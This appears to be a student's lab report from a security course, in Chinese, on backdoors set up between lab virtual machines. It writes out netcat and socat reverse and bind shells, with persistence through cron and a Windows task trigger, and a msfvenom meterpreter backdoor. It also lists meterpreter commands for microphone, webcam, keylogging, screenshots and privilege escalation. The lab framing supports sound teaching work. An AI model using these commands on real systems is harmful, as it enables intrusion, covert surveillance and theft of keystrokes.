Exp2 后门原理与实践
一、实验内容
-
1.使用netcat获取主机操作Shell,cron启动 (0.5分)
-
2.使用socat获取主机操作Shell, 任务计划启动 (0.5分)
-
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
-
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
-
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
二、实验过程
第一阶段
-
1.首先我们将从码云上下载的necat压缩包拷入win7的虚拟机中,同时也把rar的安装包拷进去用来解压缩necat。然后将necat解压缩在桌面,做好准备工作。
-
2.接着我们打开cmd通过
ipconfig
查看win7的IP地址,同时也使用ifconfig
在kali虚拟机中查看IP地址。
-
3.然后我们在win7上的ncat目录中启用necat的指令
ncat.exe -l -p 5313
打开本地的监听端口,让kali傻乎乎地通过nc 172.20.10.7 5313 -e /bin/sh
连进来,然后获得kali的操作shell。
-
4.当然kali也不傻,也可以通过打开监听端口
nc -l -p 5313
让win7傻乎乎地连进来,然后获取对方的操作shell。(所以说这是一个谁傻乎乎谁被操控的操作?)
-
5.同时kali和win7也可以通过necat这个指令进行文字传输,所以这也是之后的后门程序传输的通道。(所以不要随便和小姐姐聊天不然说不定你就被传后门了)
-
6.接下来我们要通过crontab这个指令进行周期性即定时的执行我们刚才所做的傻乎乎操作。我们通过
man crontab
查看crontab的使用指南,然后看了一圈看不懂就去百度最后了解了它的用法。
-
7.我们使用crontab指令的-e参数,即edit(编辑)来修改我们需要它周期性执行的时间。通过在最后一行添加
1 * * * * /bin/netcat 172.20.10.7 5313 -e /bin/sh
,我把时间改成1,即每小时的01分钟的时候,kali会定期傻乎乎地连接win7的5313端口,然后被人家获取操作shell。
第二阶段:
-
1.傻乎乎完毕了以后我们开始使用socat这个比necat更高级的传输指令。同样先将socat压缩包拷入解压缩。
-
2.socat高级的其中之一的原因就是它可以通过触发器来运行,即我们可以将它填入进程的触发脚本中,我们在某一项操作过后它可以自动触发运行。我们通过以下的设置,将它设置为打开锁定win7的时候进行触发,其中在脚本一栏选择我们刚才解压缩的socat.exe可执行文件,在参数一栏填入
tcp-listen:5313 exec:cmd.exe,pty,stderr
。当我们通过打开休眠的计算机的时候它就启动了。
-
3.在kali端我们使用
socat - tcp:172.20.10.7:5313
就可以在每个小时的01分钟的时候获取win7的cmd shell。(开始高端起来了)
第三阶段:
-
1.首先我们使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.6 LPORT=5313 -f exe > 20155313_backdoor.exe
指令生成一个主机地址为172.20.10.6,端口号为5313的后门程序。
-
2.通过之前的necat传输(就是刚才聊天的那个命令),将这个后门程序传输到win7上。
-
3.在kali上使用
msfconsole
指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口。设置完成以后就可以开始进行监听。
-
4.这时候win7的用户有意无意的打开了刚才传送来的后门程序,此时的kali上已经获得了win7主机的连接,且获得了远程控制的shell(不只是刚才的cmd shell)。
-
5.此时我们可以通过
record_mic
指令来获得win7端的音频;可以通过webcam_snap
来获得摄像头拍的照片;可以通过webcam stream
来进行录制视频;可以通过screenshot
来获得win7端的截屏;可以通过keyscan_start
指令开始记录下击键的过程,然后再使用keyscan_dump
指令读取击键的记录;甚至可以使用getuid
指令查看当前用户,并且使用getsystem
指令提升远程控制的权限!
实验中出现的问题:
-
1.我们在进行提权操作的时候出现以下的问题:命名管道模拟?
-
2.参考网上查阅到的解决方案,我们选择绕过UAC,再进行一次msf控制台的设置,然后在进入监听模式。然而结果令人大失所望,连监听模式都进不去了,显示错误是:没有建立会话?
-
3.带着烦躁的心情,我们重新观察一下之前background的返回参数,看到了session好像是5?于是将之前的session 1改成了session 5。带着不平静的心情我们尝试进入监听模式,结果...............................成功了!一鼓作气再尝试提升远程控制端权限,结果...............................又成功了!!!最终实验圆满完成!
三、思考题
-
1.例举你能想到的一个后门进入到你系统中的可能方式?
-
2.例举你知道的后门如何启动起来(win及linux)的方式?
-
3.Meterpreter有哪些给你映像深刻的功能?
-
4.如何发现自己有系统有没有被安装后门?